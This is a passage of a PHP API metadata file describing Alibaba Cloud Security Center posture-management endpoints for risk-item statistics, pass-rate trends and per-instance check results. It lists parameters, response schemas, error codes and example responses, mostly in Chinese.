\\"https://www.alibabacloud.com/help/en/object-storage-service/latest/tutorial-implement-data-sharing-across-departments-based-on-bucket-policies\\"\\n },\\n \\"Solution\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"Enter the MSE product console - registration and configuration center - instance list, click the corresponding instance name to enter the instance details, find the public network whitelist setting option in the basic information, and configure the whitelist according to business needs. It is forbidden to configure 0.0.0.0 or the whitelist as null.\\",\\n \\"Link\\": \\"https://www.alibabacloud.com/help/en/object-storage-service/latest/tutorial-implement-data-sharing-across-departments-based-on-bucket-policies\\"\\n },\\n \\"AssistInfo\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"Configure an IP address whitelist\\",\\n \\"Link\\": \\"https://www.alibabacloud.com/help/en/resource-access-management/latest/faq-about-ram-users\\"\\n },\\n \\"RequestId\\": \\"15A6ED6A-DBFE-5255-A248-289907809BEC\\",\\n \\"CustomConfigs\\": [\\n {\\n \\"Name\\": \\"SessionTimeMax\\",\\n \\"TypeDefine\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"NUMBER\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"range\\\\\\\\\\\\\\":[1,24]}\\",\\n \\"DefaultValue\\": \\"12\\",\\n \\"Value\\": \\"11\\",\\n \\"ShowName\\": \\"Maximum session time\\\\n\\"\\n }\\n ],\\n \\"RepairReset\\": \\"true\\",\\n \\"RepairSupportType\\": 1,\\n \\"RepairSetting\\": {\\n \\"RepairSupport\\": true,\\n \\"RepairSupportType\\": 1,\\n \\"RepairReset\\": true,\\n \\"RepairConfigs\\": [\\n {\\n \\"Name\\": \\"navicat\\",\\n \\"TypeDefine\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"NUMBER\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"range\\\\\\\\\\\\\\":[1,24]}\\\\n\\",\\n \\"DefaultValue\\": \\"1\\",\\n \\"Value\\": \\"2\\",\\n \\"ShowName\\": \\"port\\",\\n \\"FlowId\\": \\"64312d3ee19d470a9b54393dab****\\",\\n \\"CustomFlag\\": true,\\n \\"ExclusiveName\\": [\\n \\"[\\\\\\"port\\\\\\"]\\"\\n ],\\n \\"ConsoleParamType\\": \\"0\\",\\n \\"DataTransformType\\": \\"1\\",\\n \\"UsageType\\": \\"1\\",\\n \\"EmptyParamSwitch\\": \\"1\\"\\n }\\n ],\\n \\"FlowStep\\": [\\n {\\n \\"Step\\": \\"1\\",\\n \\"ShowText\\": \\"The first step is to open the calling interface.\\"\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '获取检查项详情', + ], + 'GetCheckCountStatistic' => [ + 'summary' => '获取云产品中云安全态势管理风险项的数量统计数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '203837', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'Vendors', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '所属云厂商列表。', + 'type' => 'array', + 'items' => [ + 'description' => '所属云厂商。取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **TENCENT**：腾讯云'."\n" + .'- **MICROSOFT**：Azure'."\n" + .'- **AWS**：亚马逊云（AWS）', + 'type' => 'string', + 'required' => false, + 'example' => 'ALIYUN', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'StatisticType', + 'in' => 'query', + 'schema' => [ + 'description' => '数据统计类型。取值：'."\n" + .'- **user**：被过度授权的TOP5用户。'."\n" + .'- **role**：被过度授权的TOP5角色。'."\n" + .'- **instance**：TOP5风险云产品。'."\n" + .'- **host**：TOP5基线风险主机。', + 'type' => 'string', + 'required' => false, + 'example' => 'instance', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'title' => '语言参数', + 'description' => '语言参数', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'TaskSources', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务来源。', + 'type' => 'array', + 'items' => [ + 'description' => '任务来源。取值：'."\n" + .'- **YAO_CHI**：瑶池控制台。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', + ], + 'CheckCountStatisticDTO' => [ + 'description' => '风险项数据统计结果列表。', + 'type' => 'object', + 'properties' => [ + 'CheckCountStatisticItems' => [ + 'title' => '检查项统计信息', + 'description' => '风险项数据统计结果。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '云产品实例ID。', + 'type' => 'string', + 'example' => 'i-wz9bpxyu6t74qn9g****', + ], + 'InstanceName' => [ + 'description' => '资产的实例名称。', + 'type' => 'string', + 'example' => 'launch-advisor-2021****', + ], + 'RiskCount' => [ + 'description' => '风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '22', + ], + 'Vendor' => [ + 'description' => '所属云厂商。取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **TENCENT**：腾讯云'."\n" + .'- **MICROSOFT**：Azure'."\n" + .'- **AWS**：亚马逊云（AWS）', + 'type' => 'integer', + 'format' => 'int32', + 'example' => 'ALIYUN', + ], + 'InstanceType' => [ + 'description' => '资产类型。取值： '."\n" + .'- **0**：云服务器'."\n" + .'- **1**：负载均衡'."\n" + .'- **2**：NAT网关'."\n" + .'- **3**：RDS数据库'."\n" + .'- **4**：MongoDB数据库'."\n" + .'- **5**：Redis数据库'."\n" + .'- **6**：容器镜像'."\n" + .'- **7**：容器', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'InstanceSubType' => [ + 'description' => '云产品的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RegionId' => [ + 'description' => '地域。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'InstanceTypeName' => [ + 'description' => '云产品的资产类型。取值：'."\n" + ."\n" + .'- **ECS**：云服务器'."\n" + .'- **SLB**：负载均衡'."\n" + .'- **RDS**：RDS数据库'."\n" + .'- **MONGODB**：MongoDB数据库'."\n" + .'- **KVSTORE**：Redis数据库'."\n" + .'- **ACR**：ACR'."\n" + .'- **CSK**：CSK'."\n" + .'- **VPC**：VPC'."\n" + .'- **ACTIONTRAIL**：操作审计'."\n" + .'- **CDN**：CDN'."\n" + .'- **CAS**：数字证书管理服务（原SSL证书）'."\n" + .'- **RDC**：云效'."\n" + .'- **RAM**：RAM'."\n" + .'- **DDOS**：分布式拒绝服务'."\n" + .'- **WAF**：WAF'."\n" + .'- **OSS**：访问控制'."\n" + .'- **POLARDB**：POLARDB'."\n" + .'- **POSTGRESQL**：PostgreSQL'."\n" + .'- **MSE**：MSE'."\n" + .'- **NAS**：NAS'."\n" + .'- **SDDP**：SDDP'."\n" + .'- **EIP**：EIP', + 'type' => 'string', + 'example' => 'ECS', + ], + 'InstanceSubTypeName' => [ + 'description' => '云产品的资产子类型。取值：'."\n" + ."\n" + .'- 当**InstanceType**取值为**ECS**时，本参数的取值：'."\n" + .' - **INSTANCE**'."\n" + .' - **DISK**'."\n" + .' - **SECURITY_GROUP**'."\n" + .'- 当**InstanceType**取值为**ACR**时，本参数的取值：'."\n" + .' - **REPOSITORY_ENTERPRISE**'."\n" + .' - **REPOSITORY_PERSON**'."\n" + .'- 当**InstanceType**取值为**RAM**时，本参数的取值：'."\n" + .' - **ALIAS**'."\n" + .' - **USER**'."\n" + .' - **POLICY**'."\n" + .' - **GROUP**'."\n" + .'- 当**InstanceType**取值为**WAF**时，本参数的取值：'."\n" + .' - **DOMAIN**'."\n" + .'- 当**InstanceType**取值为其他时，本参数的取值：'."\n" + .' - **INSTANCE**', + 'type' => 'string', + 'example' => 'INSTANCE', + ], + 'Uuid' => [ + 'description' => '主机实例的UUID。', + 'type' => 'string', + 'example' => 'c9107c04-942f-40c1-981a-f1c1****'."\n", + ], + 'InternetIp' => [ + 'description' => '主机实例的公网IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX'."\n", + ], + 'IntranetIp' => [ + 'description' => '主机实例的私网IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX'."\n", + ], + 'Os' => [ + 'description' => '实例的内核版本。', + 'type' => 'string', + 'example' => 'linux', + ], + 'Cores' => [ + 'description' => '主机实例的CPU核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'VpcInstanceId' => [ + 'description' => '主机实例所属VPC的ID。', + 'type' => 'string', + 'example' => 'vpc-uf60agqq65bs98zoo****'."\n", + ], + 'CheckShowName' => [ + 'title' => '检查项展示名称', + 'description' => '检查项展示名称', + 'type' => 'string', + 'example' => '开启公网访问', + ], + 'VendorShowName' => [ + 'title' => '厂商名称', + 'description' => '厂商名称', + 'type' => 'string', + 'example' => '阿里云', + ], + ], + ], + ], + 'StatisticType' => [ + 'description' => '数据统计类型。取值：'."\n" + .'- **user**：被过度授权的TOP5用户。'."\n" + .'- **role**：被过度授权的TOP5角色。'."\n" + .'- **instance**：TOP5风险云产品。'."\n" + .'- **host**：TOP5基线风险主机。', + 'type' => 'string', + 'example' => 'instance', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\",\\n \\"CheckCountStatisticDTO\\": {\\n \\"CheckCountStatisticItems\\": [\\n {\\n \\"InstanceId\\": \\"i-wz9bpxyu6t74qn9g****\\",\\n \\"InstanceName\\": \\"launch-advisor-2021****\\",\\n \\"RiskCount\\": 22,\\n \\"Vendor\\": 0,\\n \\"InstanceType\\": 0,\\n \\"InstanceSubType\\": 0,\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"InstanceTypeName\\": \\"ECS\\",\\n \\"InstanceSubTypeName\\": \\"INSTANCE\\",\\n \\"Uuid\\": \\"c9107c04-942f-40c1-981a-f1c1****\\\\n\\",\\n \\"InternetIp\\": \\"1.2.XX.XX\\\\n\\",\\n \\"IntranetIp\\": \\"1.2.XX.XX\\\\n\\",\\n \\"Os\\": \\"linux\\",\\n \\"Cores\\": 2,\\n \\"VpcInstanceId\\": \\"vpc-uf60agqq65bs98zoo****\\\\n\\",\\n \\"CheckShowName\\": \\"开启公网访问\\",\\n \\"VendorShowName\\": \\"阿里云\\"\\n }\\n ],\\n \\"StatisticType\\": \\"instance\\"\\n }\\n}","type":"json"}]', + 'title' => '获取云安全态势管理风险项的数量统计数据', + ], + 'GetCheckTimeDimensionStatistic' => [ + 'summary' => '获取云安全态势管理风险项时间趋势通过率统计数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '203873', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'Vendors', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '所属云厂商列表。', + 'type' => 'array', + 'items' => [ + 'description' => '所属云厂商。取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **TENCENT**：腾讯云'."\n" + .'- **MICROSOFT**：Azure'."\n" + .'- **AWS**：亚马逊云（AWS）', + 'type' => 'string', + 'required' => false, + 'example' => 'ALIYUN', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'StatisticType', + 'in' => 'query', + 'schema' => [ + 'description' => '数据统计类型。取值：'."\n" + .'- **CheckPassRate**：检查项通过率。'."\n" + .'- **AssetPassRate**：资产通过率。', + 'type' => 'string', + 'required' => false, + 'example' => 'AssetPassRate', + ], + ], + [ + 'name' => 'StartTimeStamp', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1672385044000', + ], + ], + [ + 'name' => 'EndTimeStamp', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1672285044000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6B****', + ], + 'TimeDimensionStatisticDTO' => [ + 'description' => '时间趋势统计数据结果列表。', + 'type' => 'object', + 'properties' => [ + 'TimeDimensionStatisticItems' => [ + 'description' => '时间趋势统计数据结果。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'DataTime' => [ + 'description' => '数据时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1712592000000', + ], + 'StatisticDatas' => [ + 'description' => '统计数据列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '数据类型。', + 'type' => 'string', + 'example' => 'COMPLIANCE_Pass', + ], + 'Value' => [ + 'description' => '数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '194', + ], + ], + ], + ], + ], + ], + ], + 'StatisticType' => [ + 'description' => '数据统计类型。取值：'."\n" + .'- **CheckPassRate**：检查项通过率。'."\n" + .'- **AssetPassRate**：资产通过率。', + 'type' => 'string', + 'example' => 'CheckPassRate', + ], + 'Dates' => [ + 'description' => '数据时间点列表。', + 'type' => 'array', + 'items' => [ + 'description' => '时间点，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '[1712592000000]', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6B****\\",\\n \\"TimeDimensionStatisticDTO\\": {\\n \\"TimeDimensionStatisticItems\\": [\\n {\\n \\"DataTime\\": 1712592000000,\\n \\"StatisticDatas\\": [\\n {\\n \\"Name\\": \\"COMPLIANCE_Pass\\",\\n \\"Value\\": 194\\n }\\n ]\\n }\\n ],\\n \\"StatisticType\\": \\"CheckPassRate\\",\\n \\"Dates\\": [\\n 0\\n ]\\n }\\n}","type":"json"}]', + 'title' => '获取云安全态势管理风险项的时间趋势统计数据', + ], + 'ListCheckInstanceResult' => [ + 'summary' => '获取云平台配置未通过检测项下的实例。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '119343', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '23', + ], + ], + [ + 'name' => 'Statuses', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项的状态集合。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的状态。取值：'."\n" + ."\n" + .'- **PASS**：通过'."\n" + .'- **NOT_PASS**：未通过'."\n" + .'- **CHECKING**：检查中'."\n" + .'- **NOT_CHECK**：未检查'."\n" + .'- **WHITELIST**：加白', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'PASS', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'InstanceIdKey', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-uf64w4q6p9jti5gl****', + ], + ], + [ + 'name' => 'InstanceNameKey', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项实例名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-uf64w4q6p9jti5gl****'."\n", + ], + ], + [ + 'name' => 'RegionIdKey', + 'in' => 'query', + 'schema' => [ + 'description' => '实例所在的地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-qingdao', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数，最大100。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '100', + 'example' => '20', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要查询的云产品实例ID集合。'."\n", + 'type' => 'array', + 'items' => [ + 'description' => '需要查询的云产品实例ID。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'i-uf64w4q6p9jti5gl****', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'SortTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项的排序类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的排序类型，当前固定取值**STATUS**。'."\n", + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'STATUS', + ], + 'required' => false, + 'maxItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListCheckInstanceResultResponse', + 'description' => '响应结构。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3AB18264-8A1B-52A6-A9AF-A886556E0F2E', + ], + 'BasicData' => [ + 'description' => '影响实例基础信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '影响实例基础信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '检查实例结果ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '300054', + ], + 'Status' => [ + 'description' => '检查项的状态列表。多个状态之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **PASS**：通过'."\n" + .'- **NOT_PASS**：未通过'."\n" + .'- **CHECKING**：检查中'."\n" + .'- **NOT_CHECK**：未检查'."\n" + .'- **WHITELIST**：加白', + 'type' => 'string', + 'example' => 'NOT_PASS', + ], + 'RegionId' => [ + 'description' => '实例所在的地域的ID。', + 'type' => 'string', + 'example' => 'ap-southeast-1', + ], + 'InstanceId' => [ + 'description' => '服务器实例ID。', + 'type' => 'string', + 'example' => 'rm-m5es7ch1s62i4****', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'sg-t4nbk2aodzio52xv****', + ], + 'StatusMessage' => [ + 'description' => '检查项异常状态信息。', + 'type' => 'string', + 'example' => '检查任务失败。', + ], + 'InstanceInfo' => [ + 'description' => '对应检查项展示实例的信息。', + 'type' => 'object', + 'properties' => [ + 'FirstUpdateTime' => [ + 'description' => '首次检查时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1716447535531', + ], + 'LastUpdateTime' => [ + 'description' => '最新检查时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1716447535531', + ], + 'Config' => [ + 'description' => '对应修复配置展示当前实例信息。', + 'type' => 'array', + 'items' => [ + 'description' => '实例信息的结构体。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '对应配置的名称，唯一。', + 'type' => 'string', + 'example' => 'prot', + ], + 'Value' => [ + 'description' => '当前资产对应配置的值。', + 'type' => 'string', + 'example' => '8080', + ], + 'ShowName' => [ + 'description' => '对应配置项的国际化名称。', + 'type' => 'string', + 'example' => 'prot', + ], + ], + ], + ], + ], + ], + 'VendorUserName' => [ + 'description' => '多云厂商账号名称。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + 'Columns' => [ + 'description' => '影响实例信息展示列表元数据。', + 'type' => 'array', + 'items' => [ + 'description' => '影响实例信息展示列表元数据信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查实例结果属性类型。取值：'."\n" + ."\n" + .'- **text**：文本'."\n" + .'- **link**：链接', + 'type' => 'string', + 'example' => 'text', + ], + 'Key' => [ + 'description' => '列表属性的键。', + 'type' => 'string', + 'example' => 'RegionIdShow', + ], + 'ShowName' => [ + 'description' => '展示名称。', + 'type' => 'string', + 'example' => 'Region', + ], + 'Search' => [ + 'description' => '是否支持搜索。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'enumValueTitles' => [], + 'example' => 'true', + ], + 'SearchKey' => [ + 'description' => '搜索使用的键。', + 'type' => 'string', + 'example' => 'InstanceIdKey', + ], + 'Grids' => [ + 'description' => '列表类型元数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '列表类型元数据。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查实例结果类型。取值：'."\n" + ."\n" + .'- **text**：文本'."\n" + .'- **link**：链接'."\n", + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'text', + ], + 'Key' => [ + 'description' => '搜索值。', + 'type' => 'string', + 'example' => 'RegionIdShow', + ], + 'ShowName' => [ + 'description' => '搜索展示名称。', + 'type' => 'string', + 'example' => 'Region', + ], + ], + ], + ], + ], + ], + ], + 'Checks' => [ + 'description' => '影响实例扩展信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '影响实例扩展信息。', + 'type' => 'object', + 'additionalProperties' => [ + 'type' => 'any', + 'description' => '检查项信息。', + 'example' => '{'."\n" + .' "InstanceIdShow": {'."\n" + .' "link": "https://vpcnext.console.aliyun.com/vpc/cn-beijing/vpcs",'."\n" + .' "value": "ngw-2zenx8j1lf5w8rcdhdqs5"'."\n" + .' },'."\n" + .' "RegionIdShow": {'."\n" + .' "value": "China(Beijing)"'."\n" + .' }'."\n" + .' }', + ], + 'example' => '[{ "SecurityGroupNameShow": { "value": "Sas_Malicious_Ip_Security_Group" }, "InstanceIdShow": { "link": "https://ecs.console.aliyun.com/#/securityGroupDetail/region/ap-southeast-1/groupId/sg-t4nbk2aodzio52xvj00s/rule/intranetIngress", "value": "sg-t4nbk2aodzio52xv****" } }]', + ], + 'example' => '[{'."\n" + .' "SecurityGroupNameShow": {'."\n" + .' "value": "Sas_Malicious_Ip_Security_Group"'."\n" + .' },'."\n" + .' "InstanceIdShow": {'."\n" + .' "link": "https://ecs.console.aliyun.com/#/securityGroupDetail/region/ap-southeast-1/groupId/sg-t4nbk2aodzio52xvj00s/rule/intranetIngress",'."\n" + .' "value": "sg-t4nbk2aodzio52xv****"'."\n" + .' }'."\n" + .'}]', + ], + 'PageInfo' => [ + 'description' => '分页查询时页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '返回结果的当前页显示数据条数。', + 'type' => 'string', + 'example' => '20', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3AB18264-8A1B-52A6-A9AF-A886556E0F2E\\",\\n \\"BasicData\\": [\\n {\\n \\"Id\\": 300054,\\n \\"Status\\": \\"NOT_PASS\\",\\n \\"RegionId\\": \\"ap-southeast-1\\",\\n \\"InstanceId\\": \\"rm-m5es7ch1s62i4****\\",\\n \\"InstanceName\\": \\"sg-t4nbk2aodzio52xv****\\",\\n \\"StatusMessage\\": \\"检查任务失败。\\",\\n \\"InstanceInfo\\": {\\n \\"FirstUpdateTime\\": 1716447535531,\\n \\"LastUpdateTime\\": 1716447535531,\\n \\"Config\\": [\\n {\\n \\"Name\\": \\"prot\\",\\n \\"Value\\": \\"8080\\",\\n \\"ShowName\\": \\"prot\\"\\n }\\n ]\\n },\\n \\"VendorUserName\\": \\"test\\"\\n }\\n ],\\n \\"Columns\\": [\\n {\\n \\"Type\\": \\"text\\",\\n \\"Key\\": \\"RegionIdShow\\",\\n \\"ShowName\\": \\"Region\\",\\n \\"Search\\": true,\\n \\"SearchKey\\": \\"InstanceIdKey\\",\\n \\"Grids\\": [\\n {\\n \\"Type\\": \\"text\\",\\n \\"Key\\": \\"RegionIdShow\\",\\n \\"ShowName\\": \\"Region\\"\\n }\\n ]\\n }\\n ],\\n \\"Checks\\": [\\n {\\n \\"key\\": \\"{\\\\n \\\\\\"InstanceIdShow\\\\\\": {\\\\n \\\\\\"link\\\\\\": \\\\\\"https://vpcnext.console.aliyun.com/vpc/cn-beijing/vpcs\\\\\\",\\\\n \\\\\\"value\\\\\\": \\\\\\"ngw-2zenx8j1lf5w8rcdhdqs5\\\\\\"\\\\n },\\\\n \\\\\\"RegionIdShow\\\\\\": {\\\\n \\\\\\"value\\\\\\": \\\\\\"China(Beijing)\\\\\\"\\\\n }\\\\n }\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": \\"20\\"\\n }\\n}","type":"json"}]', + 'title' => '获取检测项下的实例', + ], + 'ListCheckResult' => [ + 'summary' => '查看云产品中云平台配置检查风险项结果详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '119337', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'StandardIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '标准ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '标准ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'RequirementIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '条例ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '条例ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'Statuses', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项的状态列表。多个状态之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **PASS**：通过'."\n" + .'- **NOT_PASS**：未通过'."\n" + .'- **CHECKING**：检查中'."\n" + .'- **NOT_CHECK**：未检查'."\n" + .'- **WHITELIST**：加白', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的状态列表。多个状态之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **PASS**：通过'."\n" + .'- **NOT_PASS**：未通过'."\n" + .'- **CHECKING**：检查中'."\n" + .'- **NOT_CHECK**：未检查'."\n" + .'- **WHITELIST**：加白', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [], + 'example' => 'PASS', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'RiskLevels', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 